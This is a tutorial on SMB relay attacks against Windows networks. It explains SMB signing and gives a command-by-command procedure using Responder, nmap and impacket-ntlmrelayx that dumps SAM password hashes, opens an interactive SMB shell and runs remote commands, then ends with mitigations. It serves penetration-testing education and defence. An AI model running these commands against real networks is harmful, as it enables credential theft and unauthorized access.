SMB is a network protocol used by Windows-based systems to share files, printers, and other resources. In an SMB relay attack, an attacker intercepts and relays authentication messages between a client and a server. The attacker essentially tricks the systems into thinking they are communicating with each other when, in fact, the attacker is mediating the conversation.
SMB signing verifies the origin and authenticity of SMB packets. Effectively this stops MiTM SMB relay attacks from being successful. If this is enabled and required on a machine, we will not be able to perform a successful SMB relay attack.
Example of SMB communication
- NetBIOS session established between the client and the server,
- Server and client negotiation the SMB protocol dialect,
- Client logs on to the server with the proper credentials,
- Client will connect to a shared resource hosted on the server (i.e. wireless printer),
- Client opens a file on the share, and,
- Client reads or edits the requested resource. That would be a top-level overview of what happens during a regular SMB exchange.
Systems that are vulnerable to this attack have SMB signing configured to the following:
- SMB Signing enabled but not required
- SMB Signing disabled
Systems that are not vulnerable to this attack have SMB signing configured to the following:
- SMB signing enabled and required
By default, only Domain Controllers have SMB signing set to required. However, Microsoft is now beginning to make this the default settings for all clients systems starting with Windows 11 Pro and Enterprise insider builds: https://techcommunity.microsoft.com/t5/storage-at-microsoft/smb-signing-required-by-default-in-windows-insider/ba-p/3831704
Requirements
- SMB signing must be disabled or not enforced on the target
- Must be on the local network
- Relayed user credentials must be admin on machine for any real value, for example; local admin to the target machine or member of the Domain Administrators group.
Preparation
1. SMB & HTTP modules should be OFF in responder tool (/usr/share/responder/Responder.conf)
- sudo vi /usr/share/responder/Responder.conf
2. Run responder to verify the modules are turned off
- sudo responder -I eth0 -w -b -v -F
Identification
1. Scan the target for smb2 security mode
- nmap –script=smb2-security-mode.nse -p445 192.168.0.101 -Pn
Exploitation
1. Create a list of target hosts
- vi targets.txt
- cat targets.txt
2. Start responder
- sudo responder -I eth0 -w -b -v -F
3. Start impacket-ntlmrelayx
- impacket-ntlmrelayx -tf targets.txt -smb2support
4. Wait for a failed attempt from a user (local administrator or domain admin) to connect to SMB share using the wrong server name so DNS fails
Note: impacket-ntlmrelayx dumps SAM accounts (usernames & hashes)
Interactive mode (Shell)
1. Use Impacket-ntlmrelayx interactive mode (-i)
- impacket-ntlmrelayx -tf targets.txt -smb2support -i
2. The tool started a new shell on port 11000, so now, you need to connect to it using your attack machine
- nc 127.0.0.1 11000
3. Use help command to display the list of commands allowed to use
- help
4. Sample of running commands
- shares
- use C$
- ls
Run commands
1. You can also run commands as soon as you receive a connection using the flag (-c)
- impacket-ntlmrelayx -tf targets.txt -smb2support -c “whoami”
Note: depending on the version of ntlmrelax this may fail
Recommendations
Enable SMB Signing on all devices
- Pro: Completely Stops the attack.
- Con: can cause performance issues with the file copies.
Disable NTLM authentication on network
- Pro: Completely stops the attack.
- Con: If kerberos stops working, Windows default back to NTLM.
Accounting tiering:
- Pro: Limits domain admins to specific tasks(e.g. only log onto servers with need of DA)
- Con: Enforcing the policy may be difficult.
Local admin restriction:
- Pro: Can prevent a lot of lateral movement.
- Con: Potential increase in the amount of service desk tickets.
Sources
https://globalt4e.com/ataques-smb-relay/
https://github.com/m4lal0/smbrelay
https://heimdalsecurity.com/blog/what-is-an-smb-relay-attack/